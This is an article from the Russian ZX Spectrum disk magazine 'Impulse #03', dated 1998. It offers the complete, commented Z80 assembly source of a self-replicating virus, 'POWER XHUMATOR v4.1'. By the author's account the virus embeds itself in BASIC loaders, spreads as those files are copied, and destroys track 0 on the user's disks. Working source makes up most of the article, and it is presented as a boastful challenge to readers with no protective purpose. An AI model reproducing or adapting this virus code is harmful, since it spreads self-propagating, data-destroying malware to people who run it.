Impulse #03 09 декабря 1998

Программирование

Чайникам - Как сделать реальный вирус на Спектруме.

 ┌─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┐
 │▓▓▓▓ ░▒░ ЗАПОЛНЕННЫМ ЧАЙНИКАМ ▒░▒░ ▓▓▓│
 └─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┘
  
──────────────────────────────────────────

V. Как сделать реальный вирус на спектруме
   (из неразгаданных тайн процессора Z-80)

   Такого на спектруме еще не было! Народ,
предлагаю  Вашему  вниманию  исходник гло-
бальной разработки - вируса  под названием
POWER  XHUMATOR версии 4.1.  Первоначально
сей  вирус занимал #A3 байта и писался вот
так, от балды. Но мне понравилась идея и я
оптимизировал код вируса до #8A байт и на-
писал  даже  инсталляшку. Что он творит? А
творит  он  самое подлое - гадит 0 трек на
Ваших  драгоценных  дисках, и что еще под-
лее, так это то, что XHUM гадит 0 трек еще
и  на  Ваших  рабочих дисках. XHUM встраи-
вается  в BASIC-лоадеры всевозможных прог,
не  превышающие  #XX72  байт и ждет своего
часа.

   Мало  того,  что  вирус  способен само-
распространяться;  файлы, содержащие вирус
inside, могут подвергаться любому насилию,
такому как копирование, уплотнение, транс-
портировка6  по  почте  и.т.д. Конечно, не
гарантирована  работоспособность вируса со
100%  файлов, но, извините меня,  это все-
таки  всего  лишь #8A байт.

   Я не буду вдаваться в принцип  работы -
ниже приведен исходник, и те, кому это ин-
тересно,  разберутся во всем  сами.  А для
тупорылых ребят я  оставил  тупорылые ком-
ментарии, которые помогут им постичь неиз-
веданное.


;-------------------------------
;     POWER XHUMATOR  v4.1
;  Special Edition For ZX-NET
;     Koded & Optimized By
; !mPeR!0/P0WER HaCkZ All!aNcE
;     0f PR0 HaCkZ DyNaZ7Y
;-------------------------------

LEN  EQU     #8A
     ORG     #8000
     RST     #38         ;SP-2>SP, PC>(SP)
                         ;#38>PC
     EXX                 ;BC<>BC', DE<>DE'
                         ;HL<>HL'
     DEC     SP          ;SP-1>SP
     DEC     SP          ;SP-1>SP
     POP     AF          ;(SP)>AF, SP+2>SP
     EX      AF,AF'      ;AF<>AF'
     LD      HL,#C9F1    ;#C9F1>HL
     LD      (#5CC2),HL  ;HL>(#5CC2)
     LD      DE,#0000    ;#0000>DE
     LD      BC,#0905    ;#0905>BC
     PUSH    HL          ;SP-2>SP, HL>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
     EX      (SP),HL     ;(SP)<>HL
FIND POP     AF          ;(SP)>AF, SP+2>SP
     LD      A,(HL)      ;(HL)>A
     POP     DE          ;(SP)>DE, SP+2>SP
     AND     A           ;A AND A>A
     JR      Z,EXIT      ;EXIT>PC if Z
     PUSH    DE          ;SP-2>SP, DE>(SP)
     LD      DE,#0004    ;#0004>DE
     ADD     HL,DE       ;HL+DE>HL
     ADD     HL,DE       ;HL+DE>HL
     LD      A,(HL)      ;(HL)>A
     INC     HL          ;HL+1>HL
     LD      C,(HL)      ;(HL)>C
     PUSH    HL          ;SP-2>SP, HL>(SP)
     INC     HL          ;HL+1>HL
     LD      B,(HL)      ;(HL)>B
     ADD     HL,DE       ;HL+DE>HL
     LD      E,(HL)      ;(HL)>E
     INC     HL          ;HL+1>HL
     LD      D,(HL)      ;(HL)>D
     INC     HL          ;HL+1>HL
     CP      "B"         ;A-"B"
     JR      NZ,FIND     ;FIND>PC if NZ
     LD      A,C         ;C>A
     CP      #FD-LEN     ;A-#FD+LEN
     JR      NC,FIND     ;FIND>PC if NC
     POP     HL          ;(SP)>HL, SP+2>SP
     ADD     A,LEN       ;A+LEN>A
     LD      (HL),A      ;A>(HL)
     LD      HL,#DD3B    ;#DD3B>HL
     PUSH    BC          ;SP-2>SP, BC>(SP)
     PUSH    DE          ;SP-2>SP, DE>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     PUSH    BC          ;SP-2>SP, BC>(SP)
     PUSH    BC          ;SP-2>SP, BC>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     INC     B           ;B+1>B
     LD      C,#05       ;#05>C
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
     POP     HL          ;(SP)>HL, SP+2>SP
     POP     BC          ;(SP)>BC, SP+2>SP
     ADD     HL,BC       ;HL+BC>HL
     PUSH    HL          ;SP-2>SP, HL>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     EX      DE,HL       ;DE<>HL
     LD      HL,LEN      ;LEN>HL
     PUSH    HL          ;SP-2>SP, HL>(SP)
     ADD     HL,DE       ;HL+DE>HL
     EX      DE,HL       ;DE<>HL
     LDIR                ;(HL)>(DE)<─────┐
                         ;HL+1>HL,DE+1>DE│
                         ;BC-1>BC, BC>0?─┘
     POP     BC          ;(SP)>BC, SP+2>SP
     POP     DE          ;(SP)>DE, SP+2>SP
     EX      AF,AF'      ;AF<>AF'
     PUSH    AF          ;SP-2>SP, AF>(SP)
     POP     HL          ;(SP)>HL, SP+2>SP
     DEC     HL          ;HL-1>HL
     LDIR                ;(HL)>(DE)<─────┐
                         ;HL+1>HL,DE+1>DE│
                         ;BC-1>BC, BC>0?─┘
     POP     DE          ;(SP)>DE, SP+2>SP
     POP     BC          ;(SP)>BC, SP+2>SP
     LD      H,D         ;D>H
     LD      L,E         ;E>L
     RES     #07,D       ;#00>D(#07)
     LD      A,#3D       ;#3D>A
     CPDR                ;┌─>A=(HL)──────┐
                         ;│HL+1>HL,BC-1>BC
                         ;└BC>0?         │
     ADD     A,(HL)      ;(HL)>A<-───────┘
     CP      #50         ;A-#50
     JR      NZ,SAVE     ;SAVE>PC if NZ
     LD      (HL),E      ;E>(HL)
     INC     HL          ;HL+1>HL
     LD      (HL),D      ;D>(HL)
SAVE POP     HL          ;(SP)>HL, SP+2>SP
     POP     DE          ;(SP)>DE, SP+2>SP
     POP     BC          ;(SP)>BC, SP+2>SP
     INC     B           ;B+1>B
     LD      C,#06       ;#06>C
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
EXIT POP     HL          ;(SP)>HL, SP+2>SP
     LD      DE,#0000    ;#0000>DE
     LD      BC,#0906    ;#0906>BC
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
     EXX                 ;BC<>BC', DE<>DE'
                         ;HL<>HL'
     JP      #3D13       ;#3D13>PC

   Наверное, все  на  этот раз. Попробуйте
обрезать  мой  код  хотя  бы на 1 байт без
утери функциональных возможностей XHUMа, и
если  у Вас это получится, то звякните мне
как-нибудь.